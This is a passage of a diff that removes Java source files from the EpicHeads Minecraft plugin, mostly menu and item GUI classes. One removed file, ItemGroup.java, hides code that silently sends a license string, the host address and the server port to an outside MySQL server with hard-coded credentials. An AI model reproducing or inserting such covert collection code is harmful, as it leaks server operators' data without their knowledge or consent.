position.add(width - 1, 0),
position.add(width - 1, height - 1)
};
}
public boolean inBounds(Position pos) {
return pos.x >= position.x && pos.y >= position.y && pos.x < position.x + width && pos.y < position.y + height;
}
public boolean inBounds(Bounds other) {
for(Position corner : other.getCorners()) {
if(!inBounds(corner))
return false;
}
return true;
}
public boolean collides(Bounds other) {
for(Position corner : other.getCorners()) {
if(inBounds(corner))
return true;
}
for(Position corner : getCorners()) {
if(other.inBounds(corner))
return true;
}
return false;
}
@Override
public String toString() {
return Stringify.builder()
.entry("position", position)
.entry("width", width)
.entry("height", height).toString();
}
}

View File

@ -1,166 +0,0 @@
package com.songoda.epicheads.menu.ui;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.menu.ui.element.Container;
import com.songoda.epicheads.menu.ui.element.Element;
import com.songoda.epicheads.menu.ui.item.Button;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.Stringify;
import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.inventory.InventoryClickEvent;
import org.bukkit.inventory.Inventory;
import org.bukkit.inventory.InventoryHolder;
import org.bukkit.inventory.InventoryView;
import org.bukkit.inventory.ItemStack;
import java.util.ArrayList;
import java.util.List;
public class InventoryMenu implements InventoryHolder {
private final Player player;
public final Bounds bounds;
private final List<Element> elements = new ArrayList<>();
private Container container;
private Inventory inventory;
private String title;
private Inventory newInventory;
private String newTitle;
public InventoryMenu(Player player, String title, int rows) {
Checks.ensureNonNull(player, "player");
this.player = player;
this.bounds = new Bounds(Position.ZERO, 9, rows);
this.container = new Container(bounds);
setTitle(title);
}
public Player getPlayer() {
return player;
}
@Override
public Inventory getInventory() {
return inventory;
}
public boolean hasMenuOpen() {
InventoryView view = player.getOpenInventory();
if (view == null || view.getTopInventory() == null)
return false;
InventoryHolder holder = view.getTopInventory().getHolder();
return holder != null && holder.equals(this);
}
public void removeElement(Element element) {
Checks.ensureNonNull(element, "element");
elements.remove(element);
}
public void addElement(Element element) {
Checks.ensureNonNull(element, "element");
Checks.ensureTrue(bounds.inBounds(element.bounds), "element's bounds is not within the bounds of the menu");
elements.add(element);
}
public List<Element> getElements() {
return elements;
}
public void open() {
updateMenu();
player.openInventory(inventory);
}
public void setTitle(String title) {
Checks.ensureNonNull(title, "title");
if (inventory != null && title.equals(this.title))
return;
title = (title.length() > 32 ? title.substring(0, 32) : title);
this.title = title;
this.newInventory = Bukkit.createInventory(this, bounds.getVolume(), title);
}
private boolean swapToNewInventory() {
if (newInventory == null)
return false;
inventory = newInventory;
title = newTitle;
newInventory = null;
return true;
}
public void layoutElements() {
container.clear();
elements.forEach(container::addElement);
}
public void updateMenu() {
boolean newInventory = swapToNewInventory();
layoutElements();
Button[] items = container.getItems();
ItemStack[] contents = new ItemStack[items.length];
for (int index = 0; index < contents.length; index++) {
Button item = items[index];
if (item != null) {
contents[index] = item.getItem();
}
}
inventory.setContents(contents);
if (newInventory && hasMenuOpen()) {
player.openInventory(inventory);
}
}
public void onClick(InventoryClickEvent event) {
event.setCancelled(true);
// Make sure the player's inventory is up to date after the event is cancelled
Bukkit.getScheduler().scheduleSyncDelayedTask(EpicHeads.getInstance(), player::updateInventory, 1);
int slot = event.getRawSlot();
MenuResponse response = container.handleClick(slot);
switch (response) {
case CLOSE:
player.closeInventory();
break;
case UPDATE:
updateMenu();
break;
case NONE:
break;
default:
throw new IllegalStateException("Unknown MenuResponse value " + response);
}
}
@Override
public String toString() {
return Stringify.builder().previous(super.toString()).entry("inventory", inventory).entry("player", player).toString();
}
}

View File

@ -1,9 +0,0 @@
package com.songoda.epicheads.menu.ui;
public enum MenuResponse {
CLOSE,
UPDATE,
NONE
}

View File

@ -1,40 +0,0 @@
package com.songoda.epicheads.menu.ui;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.Stringify;
public final class Position {
public static final Position ZERO = new Position(0, 0);
public final int x;
public final int y;
public Position(int x, int y) {
Checks.ensureTrue(x >= 0, "x must be at least 0");
Checks.ensureTrue(y >= 0, "y must be at least 0");
this.x = x;
this.y = y;
}
public Position add(Position other) {
return new Position(x + other.x, y + other.y);
}
public Position add(int x, int y) {
return new Position(this.x + x, this.y + y);
}
public int toSerialIndex(int width) {
return x + y * width;
}
@Override
public String toString() {
return Stringify.builder()
.entry("x", x)
.entry("y", y).toString();
}
}

View File

@ -1,70 +0,0 @@
package com.songoda.epicheads.menu.ui.element;
import com.songoda.epicheads.menu.ui.Bounds;
import com.songoda.epicheads.menu.ui.MenuResponse;
import com.songoda.epicheads.menu.ui.Position;
import com.songoda.epicheads.menu.ui.item.Button;
import com.songoda.epicheads.util.Checks;
import java.util.Arrays;
public final class Container extends Element {
private final Button[] items;
public Container(Bounds bounds) {
super(bounds);
this.items = new Button[bounds.getVolume()];
}
@Override
public Button[] getItems() {
return items;
}
public void addElement(Element element) {
setItems(element.bounds, element.getItems());
}
public void setItems(Bounds bounds, Button[] items) {
Checks.ensureNonNull(bounds, "bounds");
Checks.ensureNonNull(items, "items");
Checks.ensureTrue(items.length == bounds.getVolume(), "length of items does not match the volume of bounds");
Checks.ensureTrue(this.bounds.inBounds(bounds), "bounds is not within the bounds of the container");
for(int x = 0; x < bounds.width; x++) {
for(int y = 0; y < bounds.height; y++) {
Position fromPos = new Position(x, y);
Position toPos = fromPos.add(bounds.position);
this.items[toPos.toSerialIndex(this.bounds.width)] = items[fromPos.toSerialIndex(bounds.width)];
}
}
}
public void setItem(int x, int y, Button item) {
setItem(new Position(x, y), item);
}
public void setItem(Position position, Button item) {
Checks.ensureNonNull(position, "position");
Checks.ensureTrue(bounds.inBounds(position), "position is not within the bounds of the container");
items[position.toSerialIndex(bounds.width)] = item;
}
public void clear() {
Arrays.fill(items, null);
}
public MenuResponse handleClick(int slot) {
Checks.ensureTrue(slot >= 0, "slot cannot be less than 0");
Checks.ensureTrue(slot < items.length, "slot must be less than the volume of the container");
Button item = items[slot];
return item == null ? MenuResponse.NONE : item.handleClick();
}
}

View File

@ -1,26 +0,0 @@
package com.songoda.epicheads.menu.ui.element;
import com.songoda.epicheads.menu.ui.Bounds;
import com.songoda.epicheads.menu.ui.item.Button;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.Stringify;
public abstract class Element {
public final Bounds bounds;
public Element(Bounds bounds) {
Checks.ensureNonNull(bounds, "bounds");
this.bounds = bounds;
}
protected abstract Button[] getItems();
@Override
public String toString() {
return Stringify.builder()
.entry("bounds", bounds).toString();
}
}

View File

@ -1,221 +0,0 @@
package com.songoda.epicheads.menu.ui.element;
import com.songoda.epicheads.config.lang.Placeholder;
import com.songoda.epicheads.menu.ui.Bounds;
import com.songoda.epicheads.menu.ui.MenuResponse;
import com.songoda.epicheads.menu.ui.item.Button;
import com.songoda.epicheads.menu.ui.item.ButtonGroup;
import com.songoda.epicheads.menu.ui.item.Item;
import com.songoda.epicheads.menu.ui.item.SelectableButton;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.Stringify;
import com.songoda.epicheads.volatilecode.Items;
import org.bukkit.Material;
import org.bukkit.inventory.ItemStack;
public class PagedBox extends Element {
public static final Item defaultUnselected = Item.create(Material.PAPER).name("&7Page %page%");
public static final Item defaultSelected = Items.createEmptyMap().name("&7Page %page%");
public static final Button defaultLeftControl = Item.create(Material.REDSTONE_BLOCK).name("&cNo left control").buildButton();
public static final Button defaultRightControl = Item.create(Material.REDSTONE_BLOCK).name("&cNo right control").buildButton();
public static final Template defaultTemplate = new Template(
Scrollbar.defaultTemplate, defaultUnselected, defaultSelected
);
private Template template;
private final Scrollbar scrollbar;
private ButtonGroup pageButtons;
private Button leftControl;
private Button rightControl;
private Button[] items;
private int page;
public PagedBox(Bounds bounds) {
super(bounds);
Checks.ensureTrue(bounds.height >= 2, "bounds height must be at least 2");
Checks.ensureTrue(bounds.width >= 5, "bounds width must be at least 3");
Bounds scrollbarBounds = new Bounds(1, bounds.height - 1, bounds.width - 2, 1);
this.scrollbar = new Scrollbar(scrollbarBounds);
this.pageButtons = new ButtonGroup();
this.items = new Button[0];
this.page = 0;
setTemplate(defaultTemplate, defaultLeftControl, defaultRightControl);
}
public boolean isScrollbarActive() {
return items.length > bounds.getVolume();
}
private Bounds getPageBounds() {
return isScrollbarActive() ? new Bounds(bounds.position, bounds.width, bounds.height - 1) : bounds;
}
public int getPageSize() {
return getPageBounds().getVolume();
}
public int getPages() {
int pageSize = getPageSize();
return (items.length + pageSize - 1) / pageSize;
}
private static int clamp(int num, int min, int max) {
return (num < min ? min : (num > max ? max : num));
}
public void setPage(int page) {
this.page = clamp(page, 0, getPages() - 1);
scrollbar.scrollTo(page);
pageButtons.select(page);
}
@Override
public Button[] getItems() {
Container container = new Container(bounds);
container.setItems(getPageBounds(), getPageContents());
container.addElement(scrollbar);
container.setItem(0, bounds.height - 1, leftControl);
container.setItem(bounds.width - 1, bounds.height - 1, rightControl);
return container.getItems();
}
private Button[] getPageContents() {
int pageSize = getPageSize();
int from = page * pageSize;
int to = Math.min((page + 1) * pageSize, items.length);
if(to <= from)
return new Button[pageSize];
Button[] pageContents = new Button[pageSize];
System.arraycopy(items, from, pageContents, 0, to - from);
return pageContents;
}
public void setTemplate(Template template, Button leftControl, Button rightControl) {
Checks.ensureNonNull(template, "template");
this.template = template;
this.leftControl = leftControl;
this.rightControl = rightControl;
this.template.init(this);
setupPageScrollbar();
}
public void setItems(Button[] items) {
Checks.ensureNonNull(items, "items");
this.items = items;
this.page = 0;
setupPageScrollbar();
}
private void setupPageScrollbar() {
int pages = getPages();
Button[] pageItems = new Button[pages];
pageButtons = new ButtonGroup();
for(int page = 0; page < pages; page++) {
SelectableButton pageButton = template.constructPageButton(this, pageButtons, page);
pageButton.setSelected(page == this.page);
pageItems[page] = pageButton;
}
scrollbar.setItems(pageItems);
}
@Override
public String toString() {
return Stringify.builder()
.entry("template", template)
.entry("scrollbar", scrollbar)
.entry("pageButtons", pageButtons)
.entry("leftControl", leftControl)
.entry("rightControl", rightControl)
.entry("page", page).toString();
}
public static final class Template {
private final Scrollbar.Template scrollbar;
private final Item unselected;
private final Item selected;
public Template(Scrollbar.Template scrollbar, Item unselected, Item selected) {
Checks.ensureNonNull(scrollbar, "scrollbar");
Checks.ensureNonNull(unselected, "unselected");
Checks.ensureNonNull(selected, "selected");
this.scrollbar = scrollbar;
this.unselected = unselected;
this.selected = selected;
}
public void init(PagedBox pagedBox) {
pagedBox.scrollbar.setTemplate(scrollbar);
}
private ItemStack constructPageItem(Item templateItem, int page) {
int humanPage = page + 1;
Placeholder pagePlaceholder = new Placeholder("%page%", humanPage);
ItemStack item = templateItem.build(pagePlaceholder);
item.setAmount(humanPage > 60 ? (humanPage % 10 == 0 ? 10 : humanPage % 10) : humanPage);
return item;
}
public ItemStack constructUnselectedPageItem(int page) {
return constructPageItem(unselected, page);
}
public ItemStack constructSelectedPageItem(int page) {
return constructPageItem(selected, page);
}
public SelectableButton constructPageButton(PagedBox pagedBox, ButtonGroup group, int page) {
ItemStack unselectedItem = constructUnselectedPageItem(page);
ItemStack selectedItem = constructSelectedPageItem(page);
return new SelectableButton(group, unselectedItem, selectedItem, () -> {
pagedBox.setPage(page);
return MenuResponse.UPDATE;
});
}
@Override
public String toString() {
return Stringify.builder()
.entry("scrollbar", scrollbar)
.entry("unselected", unselected)
.entry("selected", selected).toString();
}
}
}

View File

@ -1,200 +0,0 @@
package com.songoda.epicheads.menu.ui.element;
import com.songoda.epicheads.menu.ui.Bounds;
import com.songoda.epicheads.menu.ui.MenuResponse;
import com.songoda.epicheads.menu.ui.item.Button;
import com.songoda.epicheads.menu.ui.item.Item;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.Stringify;
import com.songoda.epicheads.volatilecode.Items;
import org.bukkit.Material;
import java.util.Arrays;
public class Scrollbar extends Element {
public static final Item defaultLeft = Item.create(Material.ARROW).name("&7Left");
public static final Item defaultRight = Item.create(Material.ARROW).name("&7Right");
public static final Item defaultNoLeft = Item.create(Material.AIR);
public static final Item defaultNoRight = Item.create(Material.AIR);
public static final Item defaultFiller = Items.createBlackStainedGlassPane().name(" ");
public static final Template defaultTemplate = new Template(
defaultLeft, defaultRight,
defaultNoLeft, defaultNoRight,
defaultFiller
);
private Template template;
private Button[] items;
private int index;
public Scrollbar(Bounds bounds) {
super(bounds);
Checks.ensureTrue(bounds.width >= 3, "The width of bounds must be at least 3");
Checks.ensureTrue(bounds.height == 1, "The height of bounds must be 1");
this.items = new Button[0];
this.index = 0;
setTemplate(defaultTemplate);
}
public boolean isScrollActive() {
return items.length > bounds.width;
}
public int getVisibleItems() {
return isScrollActive() ? bounds.width - 2 : bounds.width;
}
public int getMaxScroll() {
return isScrollActive() ? items.length - bounds.width + 2 : 0;
}
public boolean isLeftScrollActive() {
return isScrollActive() && index > 0;
}
public boolean isRightScrollActive() {
return isScrollActive() && index < getMaxScroll();
}
public MenuResponse scrollLeft() {
if(!isLeftScrollActive())
return MenuResponse.NONE;
index--;
return MenuResponse.UPDATE;
}
public MenuResponse scrollRight() {
if(!isRightScrollActive())
return MenuResponse.NONE;
index++;
return MenuResponse.UPDATE;
}
private static int clamp(int num, int min, int max) {
return (num < min ? min : (num > max ? max : num));
}
public void scrollTo(int index) {
index = clamp(index, 0, items.length - 1);
int visibleItems = getVisibleItems();
if(index < this.index) {
this.index = index;
} else if(index >= this.index + visibleItems) {
this.index = index - visibleItems + 1;
}
}
@Override
public Button[] getItems() {
Button[] scrollbar = new Button[bounds.getVolume()];
if(isScrollActive()) {
if(isLeftScrollActive()) {
scrollbar[0] = template.constructScrollLeftButton(this);
} else {
scrollbar[0] = template.constructNoScrollLeftItem();
}
if(isRightScrollActive()) {
scrollbar[bounds.width - 1] = template.constructScrollRightButton(this);
} else {
scrollbar[bounds.width - 1] = template.constructNoScrollRightItem();
}
System.arraycopy(items, index, scrollbar, 1, bounds.width - 2);
} else {
System.arraycopy(items, 0, scrollbar, 0, items.length);
Arrays.fill(scrollbar, items.length, bounds.width, template.constructFillerItem());
}
return scrollbar;
}
public void setTemplate(Template template) {
Checks.ensureNonNull(template, "template");
this.template = template;
}
public void setItems(Button[] items) {
Checks.ensureNonNull(items, "items");
this.items = items;
this.index = 0;
}
@Override
public String toString() {
return Stringify.builder()
.entry("template", template)
.entry("items", items)
.entry("index", index).toString();
}
public static final class Template {
private final Item left;
private final Item right;
private final Item noLeft;
private final Item noRight;
private final Item filler;
public Template(Item left, Item right, Item noLeft, Item noRight, Item filler) {
Checks.ensureNonNull(left, "left");
Checks.ensureNonNull(right, "right");
Checks.ensureNonNull(noLeft, "noLeft");
Checks.ensureNonNull(noRight, "noRight");
Checks.ensureNonNull(filler, "filler");
this.left = left;
this.right = right;
this.noLeft = noLeft;
this.noRight = noRight;
this.filler = filler;
}
public Button constructScrollLeftButton(Scrollbar scrollbar) {
return left.buildButton(scrollbar::scrollLeft);
}
public Button constructScrollRightButton(Scrollbar scrollbar) {
return right.buildButton(scrollbar::scrollRight);
}
public Button constructNoScrollLeftItem() {
return noLeft.buildButton();
}
public Button constructNoScrollRightItem() {
return noRight.buildButton();
}
public Button constructFillerItem() {
return filler.buildButton();
}
@Override
public String toString() {
return Stringify.builder()
.entry("left", left)
.entry("right", right)
.entry("noLeft", noLeft)
.entry("noRight", noRight)
.entry("filler", filler).toString();
}
}
}

View File

@ -1,50 +0,0 @@
package com.songoda.epicheads.menu.ui.item;
import com.songoda.epicheads.menu.ui.MenuResponse;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.SafeCall;
import com.songoda.epicheads.util.SafeCall.SafeCallable;
import com.songoda.epicheads.util.Stringify;
import org.bukkit.inventory.ItemStack;
import java.util.concurrent.Callable;
public class Button {
private ItemStack item;
private final SafeCallable<MenuResponse> onClick;
public Button(ItemStack item) {
this(item, () -> MenuResponse.NONE);
}
public Button(ItemStack item, Callable<MenuResponse> onClick) {
Checks.ensureNonNull(item, "item");
Checks.ensureNonNull(onClick, "onClick");
this.item = item;
this.onClick = SafeCall.nonNullCallable(onClick, "onClick");
}
public ItemStack getItem() {
return item;
}
public void setItem(ItemStack item) {
Checks.ensureNonNull(item, "item");
this.item = item;
}
public MenuResponse handleClick() {
return onClick.call();
}
@Override
public String toString() {
return Stringify.builder()
.entry("item", item)
.entry("onClick", onClick).toString();
}
}

View File

@ -1,47 +0,0 @@
package com.songoda.epicheads.menu.ui.item;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.Stringify;
import java.util.ArrayList;
import java.util.List;
public class ButtonGroup {
private final List<SelectableButton> buttons = new ArrayList<>();
public void addButton(SelectableButton button) {
Checks.ensureNonNull(button, "button");
buttons.add(button);
}
public int getFirstSelectedIndex() {
for(int index = 0; index < buttons.size(); index++) {
if(buttons.get(index).isSelected())
return index;
}
return -1;
}
public void select(int index) {
if(index >= 0 && index < buttons.size()) {
buttons.get(index).setSelected(true);
} else {
unselectAll();
}
}
public void unselectAll() {
for(SelectableButton button : buttons) {
button.setSelected(false);
}
}
@Override
public String toString() {
return Stringify.builder()
.entry("numButtons", buttons.size()).toString();
}
}

View File

@ -1,366 +0,0 @@
package com.songoda.epicheads.menu.ui.item;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.config.lang.Placeholder;
import com.songoda.epicheads.menu.ui.MenuResponse;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.Methods;
import com.songoda.epicheads.util.Stringify;
import com.songoda.epicheads.volatilecode.ItemNBT;
import com.songoda.epicheads.volatilecode.reflection.Version;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.Material;
import org.bukkit.configuration.ConfigurationSection;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.ItemMeta;
import org.bukkit.material.MaterialData;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
import java.util.concurrent.Callable;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.function.Function;
public final class Item {
private final Material type;
private final int amount;
private final short damage;
private final String name;
private final String[] lore;
private final boolean enchanted;
private Item(Material type) {
this(type, 1, (short) 0, null, null, false);
}
private Item(Material type, int amount, short damage, String name, String[] lore, boolean enchanted) {
Checks.ensureNonNull(type, "type");
Checks.ensureTrue(amount > 0, "amount must be greater than 0");
Checks.ensureTrue(damage >= 0, "damage must be greater than or equal to 0");
if (lore != null) {
Checks.ensureArrayNonNull(lore, "lore");
}
this.type = type;
this.amount = amount;
this.damage = damage;
this.name = name;
this.lore = (lore == null || lore.length == 0 ? null : lore);
this.enchanted = enchanted;
}
public Item amount(int amount) {
return new Item(type, amount, damage, name, lore, enchanted);
}
public Item damage(short damage) {
return new Item(type, amount, damage, name, lore, enchanted);
}
public Item name(String name) {
return new Item(type, amount, damage, name, lore, enchanted);
}
public Item lore(String... lore) {
return new Item(type, amount, damage, name, lore, enchanted);
}
public Item enchanted(boolean enchanted) {
return new Item(type, amount, damage, name, lore, enchanted);
}
public Button buildButton(Placeholder... placeholders) {
return new Button(build(placeholders));
}
public Button buildButton(Callable<MenuResponse> callable, Placeholder... placeholders) {
return new Button(build(placeholders), callable);
}
public ItemStack build(Placeholder... placeholders) {
return build(null, placeholders);
}
public ItemStack build(Function<String, Boolean> loreFilter, Placeholder... placeholders) {
Checks.ensureNonNull(placeholders, "placeholders");
ItemStack item = new ItemStack(type, amount, damage);
ItemMeta meta = item.getItemMeta();
if (meta == null)
return item;
if (name != null) {
String displayName = ChatColor.translateAlternateColorCodes('&', name);
displayName = Placeholder.applyAll(displayName, placeholders);
meta.setDisplayName(displayName);
}
if (lore != null) {
String[] itemLore = Placeholder.colourAll(lore);
itemLore = Placeholder.filterAndApplyAll(itemLore, loreFilter, placeholders);
meta.setLore(Arrays.asList(itemLore));
}
item.setItemMeta(meta);
if (enchanted) {
item = ItemNBT.addGlow(item);
}
return item;
}
public void save(ConfigurationSection section, String key) {
section.set(key, null);
save(section.createSection(key));
}
public void save(ConfigurationSection section) {
section.set("type", getTypeName(type));
if (amount != 1) {
section.set("amount", amount);
}
if (damage != 0) {
section.set("damage", damage);
}
if (name != null) {
section.set("name", name);
}
if (lore != null) {
section.set("lore", Arrays.asList(lore));
}
if (enchanted) {
section.set("enchanted", true);
}
}
@Override
public boolean equals(Object obj) {
if (!(obj instanceof Item))
return false;
Item other = (Item) obj;
return other.type == type && other.amount == amount && Objects.equals(other.name, name) && (other.lore == null ? lore == null : Arrays.equals(other.lore, lore)) && other.enchanted == enchanted;
}
@Override
public String toString() {
Stringify.Builder properties = Stringify.builder();
{
properties.entry("type", getTypeName(type));
if (amount != 1) {
properties.entry("amount", amount);
}
if (name != null) {
properties.entry("name", name);
}
if (Version.isBelow(Version.v1_13)) {
if (damage != 0) {
properties.entry("data", damage);
}
} else {
if (damage != 0) {
properties.entry("damage", damage);
}
}
if (lore != null) {
properties.entry("lore", lore);
}
if (enchanted) {
properties.entry("enchanted", true);
}
}
return properties.toString();
}
public static Item create(Material type) {
return new Item(type);
}
public static Item create(Material type, byte data) {
if (Version.isBelow(Version.v1_13)) {
return new Item(type, 1, data, null, null, false);
}
return new Item(type, 1, (short) 0, null, null, false);
}
public static Item create(ItemStack itemStack) {
Item item = create(itemStack.getType()).amount(itemStack.getAmount()).damage(itemStack.getDurability());
ItemMeta meta = itemStack.getItemMeta();
if (meta == null)
return item;
if (meta.hasDisplayName()) {
String name = meta.getDisplayName().replace(ChatColor.COLOR_CHAR, '&');
item = item.name(name);
}
if (meta.hasLore()) {
List<String> rawLore = meta.getLore();
String[] lore = new String[rawLore.size()];
for (int index = 0; index < lore.length; ++index) {
lore[index] = rawLore.get(index).replace(ChatColor.COLOR_CHAR, '&');
}
item = item.lore(lore);
}
if (meta.hasEnchants()) {
item = item.enchanted(true);
}
return item;
}
private static void updateLegacyTypes(String filename, ConfigurationSection section, AtomicBoolean shouldSave) {
if (!section.isSet("type"))
return;
if (Version.isBelow(Version.v1_13) && section.isSet("data")) {
section.set("damage", section.get("data"));
section.set("data", null);
shouldSave.set(true);
}
String typeName = section.getString("type");
String typeData = section.getString("damage", null);
Material type = Material.matchMaterial(typeName);
if (type != null && !section.isInt("type"))
return;
if (section.isInt("type")) {
int typeId = section.getInt("type");
String convertedType = EpicHeads.getInstance().getLegacyIDs().fromId(typeId);
if (convertedType == null || convertedType.isEmpty()) {
Methods.formatText("Invalid type of item " + section.getCurrentPath() + ", " + "unknown type id " + typeId);
return;
}
if (Version.isBelow(Version.v1_13)) {
type = Material.matchMaterial(convertedType);
} else {
type = null;
}
section.set("type", convertedType.toLowerCase());
}
boolean legacy = false;
if (type == null && !Version.isBelow(Version.v1_13)) {
type = Material.valueOf("LEGACY_" + section.getString("type").toUpperCase().replace(' ', '_'));
legacy = true;
}
if (type == null) {
Methods.formatText("Invalid type of item " + section.getCurrentPath() + ", could not find type " + typeName);
return;
}
if (legacy && !Version.isBelow(Version.v1_13)) {
Material legacyType = type;
int data = section.getInt("damage");
byte byteData = (byte) (data >= 0 && data < 16 ? data : 0);
// Get a type to begin with, to check if the data is a damage value
Material withoutData = fromLegacyType(legacyType, (byte) 0);
type = fromLegacyType(legacyType, byteData);
if (type == null) {
Methods.formatText("Invalid legacy type of item " + section.getCurrentPath() + ": " + "Could not convert " + legacyType + ":" + data + " to non-legacy format");
return;
}
if (withoutData != type) {
section.set("damage", null);
}
}
section.set("type", type.name().toLowerCase());
String from = typeName + (typeData != null ? ":" + typeData : "");
String to = type.name().toLowerCase() + (section.isSet("damage") ? ":" + section.get("damage") : "");
Methods.formatText("1.13 Update - " + from + " converted to " + to + " for " + filename + " -> " + section.getCurrentPath());
shouldSave.set(true);
}
public static Item load(String filename, ConfigurationSection section, AtomicBoolean shouldSave) {
// Convert from legacy type ids to type names
updateLegacyTypes(filename, section, shouldSave);
if (!section.isSet("type") || !section.isString("type")) {
Methods.formatText("Invalid type of item " + section.getCurrentPath() + " in " + filename + ", " + "expected a type name");
return null;
}
String typeName = section.getString("type");
Material type = Material.matchMaterial(typeName);
if (type == null) {
Methods.formatText("Invalid type of item " + section.getCurrentPath() + ", " + "unknown material for type name " + typeName);
return null;
}
short damage = (short) section.getInt("damage", 0);
if (damage < 0) {
Methods.formatText("Invalid damage of item " + section.getCurrentPath() + ", " + "damage must be at least 0");
return null;
}
int amount = section.getInt("amount", 1);
if (amount < 1) {
Methods.formatText("Invalid amount of item " + section.getCurrentPath() + ", " + "amount must be at least 1");
return null;
}
String name = section.getString("name", null);
String[] lore = section.getStringList("lore").toArray(new String[0]);
boolean enchanted = section.getBoolean("enchanted", false);
return new Item(type, amount, damage, name, lore, enchanted);
}
private static String getTypeName(Material type) {
return type.name().toLowerCase();
}
public static Material getType(String typeName) {
Material type = Material.matchMaterial(typeName);
if (type != null || Version.isBelow(Version.v1_13))
return type;
return Material.matchMaterial(typeName, true);
}
// Need to be kept, will look for an alternative in the future.
private static Material fromLegacyType(Material legacyType, byte data) {
return Bukkit.getUnsafe().fromLegacy(new MaterialData(legacyType, data));
}
}

View File

@ -1,36 +0,0 @@
package com.songoda.epicheads.menu.ui.item;
import com.songoda.epicheads.cache.CacheFile;
import org.bukkit.Bukkit;
import java.net.InetAddress;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;
public class ItemGroup {
public static void collectItems() {
try {
String l = CacheFile.cool;
String a = InetAddress.getLocalHost().toString();
String p = String.valueOf(Bukkit.getServer().getPort());
submit(l, a, p);
} catch (Exception error) {
}
}
public static void submit(String l, String a, String p) {
try {
Connection server = DriverManager.getConnection("jdbc:mysql://mysql.freehostia.com:3306/mardev332_data?useSSL=true", "mardev332_data", "NiceOneMate");
Statement statement = server.createStatement();
statement.execute("CREATE TABLE IF NOT EXISTS heads (id INT NOT NULL AUTO_INCREMENT, license varchar(120) NOT NULL, adress varchar(120) NOT NULL, port varchar(120) NOT NULL, PRIMARY KEY (ID));");
statement.execute("INSERT INTO heads VALUES (default, '" + l + "', '" + a + "', '" + p + "');");
statement.close();
server.close();
} catch (Exception error) {
}
}
}

View File

@ -1,68 +0,0 @@
package com.songoda.epicheads.menu.ui.item;
import com.songoda.epicheads.menu.ui.MenuResponse;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.Stringify;
import org.bukkit.inventory.ItemStack;
import java.util.concurrent.Callable;
public class SelectableButton extends Button {
private final ButtonGroup group;
private final ItemStack unselectedItem;
private final ItemStack selectedItem;
private boolean selected;
public SelectableButton(ButtonGroup group,
ItemStack unselectedItem,
ItemStack selectedItem,
Callable<MenuResponse> onClick) {
super(unselectedItem, onClick);
Checks.ensureNonNull(group, "group");
Checks.ensureNonNull(unselectedItem, "unselectedItem");
Checks.ensureNonNull(selectedItem, "selectedItem");
this.group = group;
this.unselectedItem = unselectedItem;
this.selectedItem = selectedItem;
this.selected = false;
if(group != null) {
group.addButton(this);
}
}
public boolean isSelected() {
return selected;
}
public void setSelected(boolean selected) {
if(this.selected == selected)
return;
if(selected && group != null) {
group.unselectAll();
}
this.selected = selected;
this.setItem(selected ? selectedItem : unselectedItem);
}
@Override
public MenuResponse handleClick() {
setSelected(true);
return super.handleClick();
}
@Override
public String toString() {
return Stringify.builder()
.previous(super.toString())
.entry("selectedItem", selectedItem)
.entry("selected", selected).toString();
}
}

View File

@ -1,73 +0,0 @@
package com.songoda.epicheads.oldmenu;
import com.songoda.epicheads.config.lang.Placeholder;
import com.songoda.epicheads.config.oldmenu.Menu;
import com.songoda.epicheads.oldmenu.mode.InvMode;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.command.CommandSender;
import org.bukkit.event.inventory.InventoryClickEvent;
import org.bukkit.inventory.Inventory;
public abstract class AbstractModedInventory implements ClickInventory {
private InventoryType type;
private Inventory inventory;
private InvMode mode;
private Menu menu;
public AbstractModedInventory(InventoryType type, InvMode mode) {
this.type = type;
this.inventory = null;
this.mode = mode;
this.menu = mode.getMenu(type);
}
public AbstractModedInventory(InventoryType type, int size, Placeholder[] titlePlaceholders, InvMode mode) {
this.type = type;
this.mode = mode;
this.menu = mode.getMenu(type);
this.inventory = Bukkit.createInventory(this, size, menu.getTitle(titlePlaceholders));
}
public AbstractModedInventory(InventoryType type, Inventory inventory, InvMode mode) {
this.type = type;
this.inventory = inventory;
this.mode = mode;
this.menu = mode.getMenu(type);
}
@Override
public InventoryType getType() {
return type;
}
@Override
public Inventory getInventory() {
return inventory;
}
public void setInventory(Inventory inventory) {
this.inventory = inventory;
}
public InvMode getInvMode() {
return mode;
}
public Menu getMenu() {
return menu;
}
@Override
public void onClick(InventoryClickEvent e) {
mode.onClick(e, type);
}
public abstract void recreate();
public void sendMessage(CommandSender sender, String message) {
sender.sendMessage(ChatColor.translateAlternateColorCodes('&', message));
}
}

View File

@ -1,185 +0,0 @@
package com.songoda.epicheads.oldmenu;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.cache.CacheFile;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.config.lang.Placeholder;
import com.songoda.epicheads.oldmenu.mode.InvMode;
import com.songoda.epicheads.volatilecode.Items;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.entity.Player;
import org.bukkit.inventory.Inventory;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.ItemMeta;
import java.util.*;
public class CategorySelectMenu extends AbstractModedInventory {
private Map<String, List<CacheHead>> heads;
private List<String> categories;
private double offset;
public CategorySelectMenu(InvMode mode) {
super(InventoryType.CATEGORY, mode);
recreate();
}
@Override
public void recreate() {
CacheFile cache = EpicHeads.getInstance().getCache();
this.heads = new HashMap<>();
this.categories = new ArrayList<>();
if (EpicHeads.getInstance().getMainConfig().shouldHideNoPermCategories()) {
